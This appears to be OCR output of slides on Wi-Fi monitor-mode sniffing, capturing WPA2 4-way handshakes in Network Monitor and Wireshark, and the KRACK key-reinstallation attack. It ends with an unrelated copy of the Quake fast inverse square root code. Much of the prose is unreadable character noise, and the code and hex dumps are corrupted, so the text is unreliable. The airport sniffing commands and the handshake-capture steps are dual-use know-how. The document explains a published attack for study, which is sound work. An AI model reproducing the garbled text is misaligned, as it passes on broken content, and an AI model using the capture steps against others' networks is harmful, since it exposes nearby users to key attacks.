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Monitor mode

Access Point ~ S SR I B S Mastar XX s 1 e Yux L) boxoo F

bx  vs 4 1. " v T luox .« _ s X< Repeaté F

Microsoft ~ * 1 Network Monitor s " x DX T , S, ", 8s L X
s x4 s B4 xs " qlIs{ sxps | sTTIX{, "X s

~ ~

https://www.microsoft.com/enus/download/details.aspx?id=4865

s ¢ ] X s s s {4 ¢ s ” ] X S S 4, st AL 4 1 4~ pX ] L. s "q] xxiss
[Select Networks X
% Properties | gﬁ P-Mode
Friendly Mame Description IPv4... IPv6 Address Hardware Address  P.. Media... State
[] Ethernet Realtek PCIe GBE Family Controller None fed0::d0e: 76ed:8910: 1ab2%:3 - L EE Ethernet Bound

[ M isatap. {180B3C0C-AC1 2-4E4A-9B39-ADFE 24D6CCEF}

feB0::5efe:10.0.0.4%9

Microsoft ISATAP Adapter #3

None

Tunnel Bound

1

=

[ isatap. {6CCEBT89-265F-4160-3EF5-A40AD 1814340} Microsoft ISATAP Adapter #2 None fedD:: Sefe: 192, 168,25, 1946 - - - Tunnel Bound
[ isatap. {A0354402-74AF 45FF-80D9-83C21CC232F6}  Microsoft ISATAP Adapter None Mone =00z @ meees Tunnel Bound
[ Local Area Connection® 3 Microsoft Wi-Fi Direct Virtual Adapter None fed0::680f:6411:ebed:9392%:6 . . - Wwifi Bound
[] Local Area Connection® 4 Microsoft Hosted Metwork Virtual Adapter  Mone fed0::cc8c:8863:6de 7df4c¥:7 . - Wwifi Bound
[#] wiFi Intel(R) Dual Band Wireless-AC 3160 10.0.0.4 fed0::561:b5be:a040: 5f3c%5 . .. - Wwifi Bound
[ ..+ Logoffillogon * -+«+¥1 L _ o5 44141 voss O o s T xS
: Scanning Optioris®  x » 1 > x A , Wirelgsss | x4 111l i ] X
Wi
Description: Intel(R) Dual Band Wireless-AC 3160
IPw4 Address: 10.0.0.9
IPvw6 Address: fed0::f084: fdbd:badb: f473%45
Hardware Address: DE-AD-BE-EF-13-37
Permanent Address:
Media Type: Wifi
State: Bound
Ok
Pl 1, + _ Switch toMonitof Mode" s { « | X\Xs  xi?c " o ]y 1,
[ N I Fd o x . s L 1 *x Seand in layer§s) and chahnel®) . x 4. *1 { .
1 v A4 Xx7_ s« s 4 Monitor Modes _ x % X - " SN Apbly XL
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https://www.microsoft.com/en-us/download/details.aspx?id=4865

Ll x ss ¢ TP s sHL v T A4S HA 10X Hex 1 {xx

T B U T " B

Keep this window open while capturing in monitor mode. Closing the window will restore all wireless
cards to default, local mode.

Select adapter: | Wi-Fi

Switch to Monitor Mode
Warning: Switching to Monitor Mode will break your wireless data connection. Returning to
Local Mode will restore connectivity.

() gelect a layer and channel 802.11a

(®) Scan on layer(s) and channel(s)

Timeout per channel:

milliseconds

Close and Return to Local Mode | | Apply

Menitor Mode: On, 5can Layer: 802.11n Channel: 8

r _New Capturg™ x . 14> [ s” ] x I s | X ) ] oxs T x o] s x G KX
1. v XL S Xy - 0 Ty s o o X GtErEr x x5
DX v, o x4 oo x o L hrame Summaryr Te 4 o X F el LE s

File Edit View Frames Capture Filter Experts Tools Help

3 Mew Capture | ¥ Open Capture | Save As | 557 Capture Settings b Stat 0l Pause @ Stop 5 Layout ~ i Parser Profiles + 2] Options @) How Dol +
@ Capiurel | () Start Page | L3 Parsess|
Display Filter X

emove istory oad Filter = ave Filter ear Text
pply K R History Load Fil \ Save Filter (2 Clear T

Fyrind > § & [F Autoscroll 2 ColorRules 8 Aliases ~
Frame Number Time Date Local Adjusted  Time Offset  Protocol Name  Description A
747 111158 PM 10/26/2017  6.9878454  WiFi WiFi:[ ManagementProbe response] RSSI = -50 dBm, Rate = 1.0 Mbps, SSID = Pizza, Channel =
748 69908751  WiFi WiFi:[ ManagementProbe response] 1dBm, Rate = 1.0 Mbps, SSID = UgenM, Channel = 1
749 6.9933770  WiFi WiFi:[ ManagementProbe response] ... RSSI =-80 dBm Rate = 1.0 Mbps, S5ID = Hani Raut Channel = 1
750 6.9954277  WiFi WiFi:[ ManagementBeacon] ....... RSSI = -49 dBm, Rate = 1.0 Mbps, 551D = Pizza, Channel =
751 7.0041189  WiFi WiFi:[ ManagementProbe response] ...R... RSSI = -82 dbm, Rate = 1.0 Mbps, 55ID = ASHA, Channel
752 7.0099454  WiFi WiFi:[ ManagementProbe response] SSI 1.0 Mbps, 551 HOTBOX-5586, ChanHEI
753 7.0154061  WiFi WiFi: [ ManagementProbe response] RSSI 45 dBm, Rate = 1.0 Mbps, SSID = HOTBOX-5586, Channel =
754 7.0214383  WiFi WiFiz[ ManagementBeacon] ....... RSST = -82 dBm, Rate = 1.0 Mbps, SSID = Zsepa_2.4Ghz, Chamnel =
755 7.0236548  WiFi WiFi:[ ManagementProbe response] ...
756 70258943 WiFi WiFi:[ ManagementProbe response]
757 70448641 WiFi WiFi: [ ManagementProbe response]
758 7.0694205  WiFi WiFi:[ ManagementProbe response]
759 70744263 WiFi WiFi:[ ManagementProbe response]
760 7.0778075  WiFi \WiFi: [ ManagementProbe response] 11
761 7.2781800  WiFi WiFi:[ ManagementProbe response] =
762 7.2825290 WiFi WiFi:[ ManagementProbe response] ...R... R55I = -54 dBm, Rate = 1.0 Mbps, S5ID = Pizza, Channel = 1 A4
< >
Frame Details X |[Hex Details X
j-Frame: Number = 768, Caprursd Frame Length = 302, Medialype = WiFl i} Decode As | 22 Width ~  [Prot Off: 0 (0x00) Frame Off: 0 (0x00) Sel Bytes: 0
WiFi: [ ManagementBeacon] ....... RSSI = -85 dBm, Rate = 6.0 Mbps, SSID||, .00 4, 29 0o 10 00 DO 0O 00 00 00 Q0 0B n
oooD 00 00 C8 14 00 00 AB FF FF FF 0C EC
00la C€9 AD 96 4E D3 01 80 00 00 00 FF FF
0027 FF FF FF CO FF D4 7A 16 DC CO FF D2 7& ¥v¢vhvdz. UA &z
o034 16 DC 80 AD 40 9E 81 77 28 02 00 00 64 .0 -@ wi...d
o041 00 11 01 00 05 53 55 53 S5F 35 01 08 8C ..... SUS_S..
ID04E 12 98 24 BO 48 60 €C 05 04 00 02 00 00 . $°H 1.
D058 07 1C 49 4C 20 24 01 17 28 01 17 2C 01 ..IL § r
oogg 17 30 01 17 34 01 17 38 01 17 3C 01 17 .0..4..
0075 40 01 17 00 20 01 00 23 02 11 00 30 14
00€2 01 00 00 OF AC 04 01 00 00 OF AC 04 01
D0OBF 00 00 OF AC 02 0C 00 0B ©05 00 00 01 Q0
< »|[00eC 00 2D 1A FE 08 17 FF FF 00 00 01 00 00 v
Version 3.4.2350.0 ﬂ/ Displayed: 1184 Dropped: 0 Captured: 1184 Pending: 0 Focused: 768 Selected: 1

P 4>y ¢ Cx ., XWIE o x B F ] s oo x 0 X DX w0 b X e
pcap , ¥ X« s+ xStop -~ XX ] X x, *HTTR, FCP,UDP * v | | ' x ] x

° ~ v o~
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Edit  View Ge

‘j. i

Capture

LR E

Analyze

Res=F s[5 =

X L~ 802BEY I X s x € s x4 X]

Statistics  Telephony

Wireless

@ an

Tools

-ln

Help

Technolooi

WitegharR + (4 85198 |58 x -«

~

Legaey~

~

[i | Apply a display filter ... <Ctrl-/>

'] Expression...

Na.

Time  Source

18..
28..
3i@..
4 8.
5 8.,
G B..
7 8.

ELE]

ad:

ba
ba

ag:

Jc

a@:

14f
4f
:be
be
4f
H k]
4f

rdd:
rdd:
:fa:
(fa:
H-LH
HE T
1d4:

16
H:-H
H<H
H<-H
186:
=15
186

Destination

de

tad:

de:

de

rad:

de:
de:
de:
ff:

113
113
113
213
213
=13

137
137
137
137
137
137
e

bl

Protocal

882,11
882,11
882.11
gez.11
gez.11
ge2.11
ge2.11

Length Info
248 Probe Response, SN=584, Fl..
247 Probe Response, SN=89, FN=..
se, SN=823,
se, SN=824,
248 Probe Response, SN=583,
244 Probe Response, SN=812,
254 Beacon frame, SN=586, FN=8..

Frame 31: 384 bytes on wire (2432 bits),
NetMon 882.11 capture header

8082.11 radio information
IEEE 862.11 Beacon frame, Flags:

384 bytes captured (2432 bits)

Boee
Bole
Ba2e
Ba3e
2e48
Be58
Bo6e
Bo7e
Base
Base
Boad
eabe

a2 2e
14 aa
30 oe
a@ 4f
64 @@
46 69
43 6@
17 28
3c Bl
a1 ea
ac ez
aa ae

ae
ae
aa
d4
11
st
6C

1@
c7
aae
2d
19
32
a5

e
f
bl

e
ki
Tt
52
13
38
e

17
a4

L]

ae
ff
f
(:]
43
39
a1
17
aa
a1
ae
17

e
Bc
ki
6d
63
st
e

28
aa
ae

ki

ae
76
ff
53
14
35
ae

® Z

Extensible

Eile

Edit  View

Go

Capture

LR E

Analyze

Q

Statistics  Telephony

es=F 85 =

.I

|| Packets: 176 - Displayed: 176 (100.0%) * Load time: 0:0.15|| Profle: Default

s 4\Way Handshake ” "1 1 L § - N DX e,
T

Wireless

Qaex

Tools

Help

_(AuthdnticationProtocelQverLAN

m '] Expression... +

Time Source

52 4.
53 4...
55 4.
56 4.

:be
rad
the
rad

fa
:be
:fa
:be

=S
ref
H
ref

cas
113
H+H
113

Destination

rad:be
the:fa
rad:be
the:fa

refil3
rce:ca
refil3
rce:ca

37
:fe
137
:fe

Protocol
EAPOL
EAPOL
EAPOL
EAPOL

Length Info
187 Key (Message 1 of 4)
187 Key (Message 2 of 4)
221 Key (Message 3 of 4)
163 Key (Message 4 of 4)

Frame 52:

187 bytes on wire (1496 bits),
NetMon 882.11 capture header

802.11 radio information

IEEE 8@2.11 QoS Data, Flags:

Logical-Link Control
8082.1X Authentication

187 bytes captured (1496

bits)

Boee
Bole
Bo2e
Ba3e
Ba4e
Be58
Bo6e
Bo7e
Bose
Ba0e
Baag
eabe

a2 2e

a9 ae

88

ba be
de
aa
74

ae
ae
3a

1@
dl
al
ce
a3
a5

a4
e
e
aae
aa
ge

ae
ff
de
ca
ae
3d
32
ae
ae
e
16
32

aa
Tt
ad
fe
75

7a

e
e
e
dd

aa
ff
be
aa
az
54
df
aa
aa
aa
14
16

aa
a2z
ef
=]
=]
ba
4a

ae
ae
aa
aa
1f

HAEE83REEYES

L3334 8383

O 7 802, 1x Authentication: Protocal

|| Packets: 176 - Displayed: 4(2.3%) - Load time: 0:0.15|| Profile: Default
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Technolooi

Nonce ¢ * «~ 1 r 1~ %X _~ PCAPF " { X ss X4 X, 1« 1xs0y

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

PhRBRe=s=FoE=E @aan

m '] Expression...  +

Time Source Destination Protocol Length Info
52 4... ba:be:fa:ce:ca:fe de:ad:be:ef:13:37 EAPOL 187 Key (Message 1 of 4)
53 4... de:ad:be:ef:13:37 ba:be:fa:ce:ca:fe EAPOL 187 Key (Message 2 of 4)
55 4... ba:be:fa:ce:ca:fe de:ad:be:ef:13:37 EAPOL 221 Key (Message 3 of 4)
56 4... de:ad:be:ef:13:37 ba:be:fa:ce:ca:fe EAPOL 163 Key (Message 4 of 4)

Frame 52: 187 bytes on wire (1496 bits), 187 bytes captured (1496 bits)
NetMon 882.11 capture header
8082.11 radio information
IEEE 8@82.11 QoS Data, Flags: ...... F.
Logical-Link Control
802.1X Authenticaticn
Version: 882.1X-2884 (2)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)
Key Information: @x@esa
Key Length: 16
Replay Counter: 16
WPA Key MNonce: @53d1b54b9¥584bcb7da2d394@65742fF4327adf4aa77d1d. ..
Key IV:
WPA Key RSC: Geébbooepbopbooon
WPA Key ID: booepooobbopoood
WPA Key MIC:
WPA Key Data Length: 22
Key Data: ddl4ee8fac849c062159849826258e326T1617T613695

L || Packets: 176 - Displayed: 4(2.3%) - Load time: 0:0.15 | Profile: Default

s INonces + , MIO 19 L ®TKX =« (L Xx1_  s..s

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Adm 1@ JERB Re>=F 5= Qaan
[i|eapol [X] ']E)cpression... +
No. Time Source Destination Protocol Length Info

52 4... ba:be:fa:ce:ca:fe de:ad:be:ef:13:37 EAPOL 187 Key (Message 1 of 4)

53 4... de:ad:be:ef:13:37 ba:be:fa:cezeazfe EAPOL 187 Key (Message 2 of 4)

55 4... ba:be:fa:ice:ca:fe de:ad:be:ef:13:37 EAPOL 221 Key (Message 3 of 4)

56 4... de:ad:be:ef:l3:37 ba:be:fa:ce:ca:fe EAPOL 163 Key (Message 4 of 4)

Frame 53: 187 bytes on wire (1496 bits), 187 bytes captured (1496 bits)
NetMon 882.11 capture header
8082.11 radio information
IEEE 862.11 Data, Flags:
Logical-Link Control
802.1X Authenticaticn
Version: 882.1X-2861 (1)
Type: Key (3)
Length: 119
Key Descriptor Type: EAPOL RSN Key (2)
Key Information: @xel@a
Key Length: @
Replay Counter: 16
WPA Key Monce: e848f5d77e49Tc94f87e1bB8901d5222ae746ed8ce690d760. ..
Key IV:
WPA Key RSC: Geébbooepbopbooon
WPA Key ID: booepooobbopoood
WPA Key MIC: 5d8@95e6e52b8e@aec@4395b7dlfcead
WPA Key Data Length: 24
Key Data: 30168188008Tactddlessnstaceddlonsselacad23connaen

|| Packets: 176 * Displayed: 4(2.3%) - Load time: 0:0.15|| Profile: Default
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

LERBRe==FIE|=E Qaad

[X] ~| Expression... = +

Time Source Destination Protocol Length Info
52 4... ba:be:fa:ce:ca:fe de:ad:be:ef:13:37 EAPOL 187 Key (Message 1 of 4)
53 4... de:ad:be:ef:13:37 ba:be:fa:ce:ca:fe EAPOL 187 Key (Message 2 of 4)
55 4... ba:be:fa:ce:ca:fe de:ad:be:ef:13:37 EAPOL 221 Key (Message 3 of 4)
56 4... de:ad:be:ef:13:37 ba:be:fa:ce:ca:fe EAPOL 163 Key (Message 4 of 4)

Frame 55: 221 bytes on wire (1768 bits), 221 bytes captured (1768 bits)
NetMon 882.11 capture header
8082.11 radio information
IEEE 8@82.11 QoS Data, Flags: ...... F.
Logical-Link Control
8@2.1X Authentication
Version: 882.1X-2884 (2)
Type: Key (3)
Length: 151
Key Descriptor Type: EAPOL RSN Key (2)
Key Information: @xl3ca
Key Length: 16
Replay Counter: 17
WPA Key MNonce: @53d1b54b9¥584bcb7da2d394@65742fF4327adf4aa77d1d. ..
Key IV: f4327adf4aa77d1d37a8a8933c825df8
WPA Key R5C: 859a008808080088
WPA Key ID: booepooobbopoood
WPA Key MIC: f2alabcdSldec7a55d679ef97cd4baaz
WPA Key Data Length: 56
WPA Key Data: 7ccB89853d9fff959d914a9le2chd7Sefedfe6ecaadansabs. ..

@ || Packets: 176 - Displayed: 4 (2.3%) * Load time: 0:0.15|| Profile: Default

XOUSMIGS S~ S 4.« s.oos IAcks . D T4d L, T%.A.s

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

PhRBRe=s=FoE=E @aan

m '] Expression...  +

Time Source Destination Protocol Length Info
52 4... batbe:fa:ce:ca:fe detad:beref:13:37 EAPOL 187 Key (Message 1 of 4)
53 4... de:ad:be:ef:13:37 ba:be:fa:ce:ca:fe EAPOL 187 Key (Message 2 of 4)
55 4... ba:be:fa:ce:ca:fe de:ad:be:ef:13:37 EAPOL 221 Key (Message 3 of 4)
56 4... de:ad:be:ef:13:37 ba:be:fa:ce:ca:fe EAPOL 163 Key (Message 4 of 4)

Frame 56: 163 bytes on wire (1384 bits), 163 bytes captured (1384 bits)
NetMon 882.11 capture header
8082.11 radio information
IEEE 8@2.11 Data, Flags:
Logical-Link Control
802.1X Authenticaticn
Version: 882.1X-2861 (1)
Type: Key (3)
Length: 95
Key Descriptor Type: EAPOL RSN Key (2)
Key Information: @x@3@a
Key Length: @
Replay Counter: 17
WPA Key Nonce:
Key IV:
WPA Key RSC: Geébbooepbopbooon
WPA Key ID: booepooobbopoood
WPA Key MIC: 3d2eleebatdlf4d472ac2e388e75dbad
WPA Key Data Length: @

|| Packets: 176 - Displayed: 4(2.3%) - Load time: 0:0.15|| Profile: Default
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Technologic

Mac , C x ~ X N e

Lo DXL« M X147 X N iMaéO0Ss, i s 4.

Lo D4 wx s e s .~ T ls 1 - x . s 4s 4 LT
T o] Aapor X, w7 s ¢ 1 MAc®S | s 4L HxX s

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport |

S T S

sudoIn -s /System/ Library /é/ Versions / Current / Resources / airport /'usr / local / bin / airport |

L, X € o X% LoxX o , S - « X, ”FF{-|RXZ”F-|>$>><Z,|_ B 9391 s
sudo airport en0 -s
hostname :~ username$ sudo airport en0 -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (‘auth / unicast / group)
AIS SMART Login 2c:5d:93:96:0f : 6c -90 136,-1 Y US WPA2 (802.1x / AES AES
AIS SUPER WiFi 2c:5d:93:56:0f : 6c -88 136,-1 Y US NONE
true_home5G_4e8 94:09:37:99:f4 :ec -88 60 Y US WPA2 (PSK TKIP, AES TKIP)
true_home2G_de8 a0 :72:2c:95:1d:e8 -86 11 Y -- WPA2PSK TKIP, AES TKIP)
SPICYDISC 82:2a:a8:8b:50:b6 -78 157,+1 Y -  WPA2PSK AES AES
Kronus5 94:10: 3e:17:31:a8 -69 36 Y - WPA2PSK AES AES
CMG ec:c8:82:fb:02: b0 -91 11 N TH WPA (802.1x / TKIP/ TKIP)
HUAWEI_BEETHOVEN_8919 b089: 00: 2e:fa:3a -69 6 Y TH WPA2 (PSK AES AES
SPICYDISC 80:2a: a8:8a:50: b6 -63 6 Y -- WPA2PSK AES AES
CMGGuest 64:d8:14:ef : 24:e3 -64 6 Y TH NONE
CMG 64:d8:14:ef : 24:e0 -64 6 N TH WPA (802.1x / TKIP/ TKIP)
Kronusguest 96:10: 3e:17:31:a8 -54 2 Y -- NONE
Kronus2 94:10: 3e:17:31:a7 -54 2 Y -- WPA2 PSK AES AES
hostname :~ username$
~ PCAP , *x <« *x 1 ] A
hostname :~ username$ sudo airport en0 sniff 1
Password:
Capturing 802.11 frames on en0.
S
Session saved to /tmp/airportSniffuwlOyq.cap.

S « . X
[] [ ] pcap.pcap
7 & =B H & = = T=T
Am 3@ RO QAes2EF &= Haaar
W | Apply a display filter ... <38/> (=3 ~| Expression.. +
No. Time Source SRCPort Destination DSTPort Protocol Length Info

2017/297 Ubiquiti_c1: SamsungE_03:4c:.. .11 251 Probe Response, SN=1732, FN=0, Flags=........
2017/297 12:09:08.. Apple_50:20: IPvbmcast_02 802.11 133 Data, SN=1733, FN= 0 Flags— PeessF.C —
2017/297 12:09:08.. HonHaiPr_f7:0e:.. ArubaNet_68:d9:.. 802.11 45 Request-to-send, Flags=......

ArubaNet_b7:6b:. 802.11 154 QoS Data, SN=1176, F!‘.‘::O, F

Broadcast 802.11

2017/297 12:09:
2017/297 12:09:

HonHaiPr_f7:¢
ArubaNet_68:

©~ o LN w o

2017/297 12:09:08.. ArubaNet_68:d9:... 802.11
2017/297 12:09:08.. Ubiquiti_d4: Apple_10:f4:00 .. 802.11
2017/297 12:09:08.. Ubiquiti_d4: Apple_10:f4:00 .. 802.11

8.. 21:ac:47:11:c8:.. 86:b8:25:90: cd: ..

2017/297 Apple_10:4:00 ..
11 2017/297 12:09:08.. Ubiquiti_d4:59:.. Apple_10:74:00 .. 802.11
12 2017/297 12:09:08.. Ubiquiti_c1:94:.. 16:08:60:22:ad:.. 802.11
13 2017/297 12:09:08.. Apple_cd:84:22 IPv4mcast_fb 802.11
14 2017/297 12:09:08.. 06:18:d6:c1:94:.. 16:08:60:22:ad:.. 802.11 250 Probe Response, SN=2796,
2017/297 12:09:08.. SamsungE_03:4c:.. 802.11 39 Acknowledgement, Flags=.

2017/297

Probe Response SN=3802

46:d9:e7:fa: 16:08:60:22:ad:_

2017/297 : Broadcast
» Frame 1: 251 bytes on wire (2008 blts), 251 bytes captured (2008 bits)
» Radiotap Header v@, Length 25

» 802.11 radio information
>
>

IEEE 802.11 Probe Response, Flags: ........ C
IEEE 802.11 wireless LAN management frame

O 7 e
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KRaCK (1 = » 1 " x
4Way Handshake - 1 «
, 1+ 7 4% 80211 Hardshaké * 4 4 s I .41 T4 {4 s s7Xss
KRaCKS>\\:VS L "v S X‘_~
PS4 Xl s A 1s x4 40 Ts e XD sx s s D
Xt Fnx © + ~  4Way Hahdshake x *{ 4 0 s 4w __sS rH % s
S T T T N S - R
L T T PN ks x Y bAoA el 4140
Pl S L, T X v~
Supplicant (client) Authenticator (AP) ‘
é.:n Authentication Request
z Authentication Response
=)
ki (Re)Association Request
Q
§, (Re)Association Response
-]
e optional 802.1x authentication - - - - - - >
Msg1(r, ANonce)
é E@ Msg2(r, SNonce)
3 ;
ER Msgie1; oTK)  (Derive PTK]
B
g Msgd(r+1)
-
(Install PTK & GTK | (Install PTK )
€ - - encrypted data frames can now be exchanged - - >
L
E . Refresh GTK]
g Encptk{ Group1(r+2; GTK) }
=
> Encztk{ Group2(r+2) }
4
5 | (Install GTK Install GTK |
& T T
[https://papers.mathyvanhoef.com/ccs2017.pdf. -~ * « ]
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, (¢4~ X Haddshake « L HsL ) - 48,8 X0 81, %%, ., 7" 047 , o1
?27 < s {4 X S .S 14 s _ FAPTRE . e D 973 D x g4l lss
s T~ X L1 .-NBnces - x - s & x ., PTR .~ , X x 1 1 7., x ¥ ol X L
L LSJJSI_AJLX(V'I~ p oS X
L S14L s g5 40X F Y Wirgless & _ 4 X x D X @aXx K p ¥ 8
P Y IvaZs,_ AIZx Z-|-|vx><x,, s-|s:~ ] 1 x,_~ "'IX‘VE
S« « S Lo x XL sx i s g ¥ ds A LS A x4 4 *x
17« , St Toox S Lov o MIGS  Th ke Astii X 44T ACKY S x 4l X x
. PTKs Coe SR B
Tl S . .S b ARkt T S WX HA e wAPRS X X |, 9. ¥ XA
, RATKxx I x « O O BT Pl i MIGSL T4 T osse o d X K dos g X
L X1 8 XX sRettansmit  «~ X1 14 < XSAckE X s X S X0 T s X
LY xx s 1 B 8 A AT s 40 48 is s T s e X
"aX o, P SR L Ack X 4 XPETKs ile ] XL fxsiii s Dox oo S L X q S . . S
L "PTKE v o x4
I x . S L | ox . L_x,,“xxv-|yx ””,va X,,VX Xl va 15 Ix L 4 . S v ., " , - X
144 sT4c~ 0 rA
\L34><\L~ . ,,INV x ” s x><~ , s Os . X .S Lo X 6] X « X 41
L. oL .x1 4 s . LY 6 s 40 gl Ix p X% X s X L4 X ]
x X x oL PTKS1 s: X8 44%pr s o« s 1o . , X X s L 4« .~ *
S QUL I
,|—'|"X~ "'1~Xv'|v -|Av L X ' s L 4y x s ¢ s -{>-|‘>VS S 4
s 4 s s L3 ,,><~,_“~ -|,_,_~>< S L 4% 1s CPRPTKSX L i¥qd < X ”,_-|s“~: I SRR SRS . s .
PTKs ¥ X x ., ¢x 71 x 4 x s? o s X pSL p XYL x4 pA
L. Lx 1 4~s Gountersx Lo _» XL Xx1 4 « PTK WX ¢t s " LW o 170, x 7 XX
-|”P>_TVKX X « X » C X ~¥)f'|..JM‘P<'; xklv:Lbs'su\q_sd ,_:x“xl*yxx,,”)
-s . CPTK AT & Lo s ” \Norfces , A%« LX) X« Lo ~ 00X X1
(! L v LCounters
. %] I X« , S Ao o« X r X < ]~ , S s X X 4 s s
T BN A x 41 x40 L X x ] " LT R -
v X~ 8 1 x x Lol s 14 28 1 x 7
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@ Due to a bug, an all-zero TK will be installed, see Section 6.3.

b Only the group key is reinstalled in the 4-way handshake.

¢ Certain tests are irrelevant (not applicable) because the im-
plementation does not accept retransmissions of message 3.
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e T N
Supplicant (victim) Adversary (MitM) | Authenticator |
Msg1(r, ANonce) Msgl(r, ANonce)
Msg2(r, SNonce) Msg2(r, SNonce)
@
Msg3(r+1; GTK) Msg3(r+1; GTK)
Msgd(r+1)
Install PTK & GTK
@ Encllnk{ Data(...) }
Msg3(r+2; GTK) Msg3(r+2; GTK)
® Enc;tk{ Msg4(r+2) }
Reinstall PTK & GTK |
Encitk{ Msg4(r+2) }
@ Msgd(r+1)
Install PTK ?
————— next transmitted frame(s) will reuse nonces - - - -
® Encllatk{ Data(...) } Enc;tk[ Data(...) }
[https://papers.mathyvanhoef.com/ccs2017.pdf ~ * « _ ]
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i ] T,ox X 1«7 s
peome Supplicant (victim) - - - - - |
I
[ Main CPU] | Wireless NIC |' | Adversary (MitM) |
e
Msg1(r, ANonce) Msg1(r, ANonce)
o -
Msg2(r, SNonce) Msg2(r, SNonce) .
Msg3(r+1; GTK) B
Msg3(r+2; GTK)
@ Msg3(r+1; GTK) -
Msg3(r+2; GTK)
Msgd(r+1)
Msgd(r+1)
@) | Install-keys command -
(Install PTK & GTK |
Msgd(r+2) Enc;tk{ Msgd(r+2) }
@) | Install-keys command -
(Reinstall PTK & GTK )
next transmitted frame will reuse nonce 1
®
Data(...) 1
Encpui{ Data(...) } N
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.2Way Handshake+ 1 _ | 1

1.4 10 v X ¥oxs siCos s " xRy X Dxo D 0 T
LX L1 Ix 4ot Graups s x X Reinstallationk . X L S . .S

. Cox ] R XX s . _ L Codnteps s ‘:sxsv_),i&‘“" >y="sjb L% ¥ X
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TS~ s 14X FSoOX
Supplicant (victim) ‘ | Adversary (MitM) | | Authenticator
initial 4-way or FT handshake
RefreshGTK]
Enc;tk{ Groupl(r; GTK) } Enc;lk{ Groupl(r; GTK) }
@
Install GTK Install GTK |
Encg gL Group2(r) }
@{ Enc;:;{ Groupl(r+1; GTK) }
@{ Encétk{ GroupData(...) } Encétk{ GroupData(...) }
Encx:]:l{ Groupl(r+1; GTK) }
@ p
:Reinstall GTK |
® { Encétk{ GroupData(...) }
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https://www.krackattacks.com

http://blog.erratasec.com/2017/10/somaotes-on-krackattack.html

https://www.reddit.com/r/KRaCK

https://github.com/vanhoefm/krackattacks$est-ap-ft

https://asecuritysite.com/encryption/ssid hm

https://www.inslgnla.com/understandinwpa-pskcracking

Detailed documentation of CCMP

https://distrinet.cs.kuleuven.be/news/2015/AdvancedWiFiAttacksUsingCommodityHardwar
e.pdf

https://www.reddit.com/r/KRaCK/comments/77kz7x/vendor_patch_status megathread/
https://en.wikipedia.org/wiki’/KRACK
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float Q_rsqrt( float number )
{
long i;
float x2, y;
const float threehalfs = 1.5F;
X2 = number * 0.5F;
y = number;
i =%*(long * ) &; // evil floating point bit level hacking
i = ex5f3759df - (1> 1); // what the fuck?
y =7* ( float * ) &i;
y =y * ( threehalfs - ( x2 *y *y ) ); // 1st iteration
// y =y * ( threehalfs - ( x2 *y *y ) ); // 2nd iteration, this can be removed
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s, X 7s s,,XA (X'-~ _|~vssx) Poxod Lo s L x| ys s T L .S s -
, e X &y @ 1s s 4L -Quakels X4 oLt L 1 .l
Pl s XX, X X *x 11 TQuake 3 4 1P9% L 4w 12X, s O s
L =>x\>< -|IV-|V L s {14 s x X x 1 . x A s X _ s
L X <

NS
w_es  TXUy ] TQuake 3ol x  Tuo o sks 4. T s s
X DXow e X, o4 x| *xoq oL . 1 X 2005 X770 Xs o 4 1o xs s
X X S LY . s ¢ v X o box os - X o, ow L X . ., FoA VoloX s L x|y s
Sl b X x e ko,

s“-{>,,y :XNAL ,Ix\v st] s , X (X ’,,CXA . X S S , W X
I x . 1 s F .S = v{ :_-HSZ XX SLIIR SN I O I O s d o~ ss ., X 9 x . 3 .9 ¢ 5
~",,><s s ¢ {1 L X « , v X S . oL s ¢ , v Lo x-|~>>< po . X S X
s ., X~ ~SX 11 s L, lox N b Lo~ &aXss {4 ]Tss « x5S

. Ax”vs . s X, s X « 1 A v XS S v, " } s U"sxClis] .lsx (s
Px o v - 859 s 114, _ YL« s€ s XL 1*Quake 3. + _ L L YL
L X Tl dexs s o B0 s kT s s L v T e 0 e X
IA sL.|A-| s , x (X% x~AL ,,xv\ \xs~ sv . s~xA « X S q
x,_~ stXAs . x~Ax s L 4L X X « X "'||VY~ L~st T
s X ,_ s X s X x A s ,, X ( X X ,x
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X 1 S v o,
¢ x|
= . xg),]'3< '|“x|_’~ s.|‘“"x> X € s ox . X S s . 1 s
U . .
L X , 4 s SR B ?S S, _~ Y L. XX xs 1L s €4 |s x5 s
x x X v x s ] s ¢ X L S _L rHS SaoX X os s
s dY . xq1 LX DI X U@ X T WK e TSex T X Fddox
P T T e s X g sl sy s b Xy 2] 1% x|
L s L , ST ks d s e bl H LT v qs N
Lo~ 3|}]—_4:V~'|'|5’<~'|v~ Pxo s 4 4 s 47 x o x 7 ] g e O
A\5§M—_:¢\ x4 A4 1 (bQVFISLI-J)(V“SLN"'F1?|}'|(})V:~S‘1VX~1-|XLN
—s " S . Ma L *C 0% [R B S L 1] S o N " x4
i . J ~ . ~ .
?., ¢ X FoA 1Y . E . F v S Lo X L . X . . X S s -
LY R Lo L 14« 208 L X xX xR 4 ¥ X q T X
{1y . s X S ?2« 4 X X . 1 s s ¢ . s .|x'|,Ix“ X,
s)-| Ix\v Xxﬁ,,lsit.‘vxv ,LIJsz L Xs. ¢ .,,I:vv . L
float Q_rsqrt( float number )
{
long i;
float x2, y;
const float threehalfs = 1.5F;
x2 = number * ©.5F;
y = number;
i =* (long *) &; // evil floating point bit level hacking
i = ex5f3759df - (1> 1); // what the fuck?
y =% ( float * ) &i;
y =y * ( threehalfs - ( x2 *y *y ) ); // 1st iteration
// y =y * ( threehalfs - ( x2 *y *vy ) ); // 2nd iteration, this can be removed
R O R U FXo o Tl T A e i S P B
” . " _I ., n L ., X | _I ” . J I- L Xl—\\J LS _I YSX"LXXS”S-I .
«X 41 10383 x3:141 B L _ L, A4 "X . oy x 44 ¢ Xx il oo
= X « X A s X S v L, " « X {1 % X Lo« 1 L X , X 1 x y
v L 0B sX3lx p L 3 x X7 X, s sl x s 4,7« pxp] o oxy T A
X1 Uy oxxql 4 exsq s 4 L XY R e T B e
x5f3759d0 1 .~ x : . _ s XX X oL x_s s s
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float Q _rsqrt ( float number ) |

srsqgrt-. 1 7). Q_rsqftw x s A X s { oL x 17« XX 94 Lo xX Lx

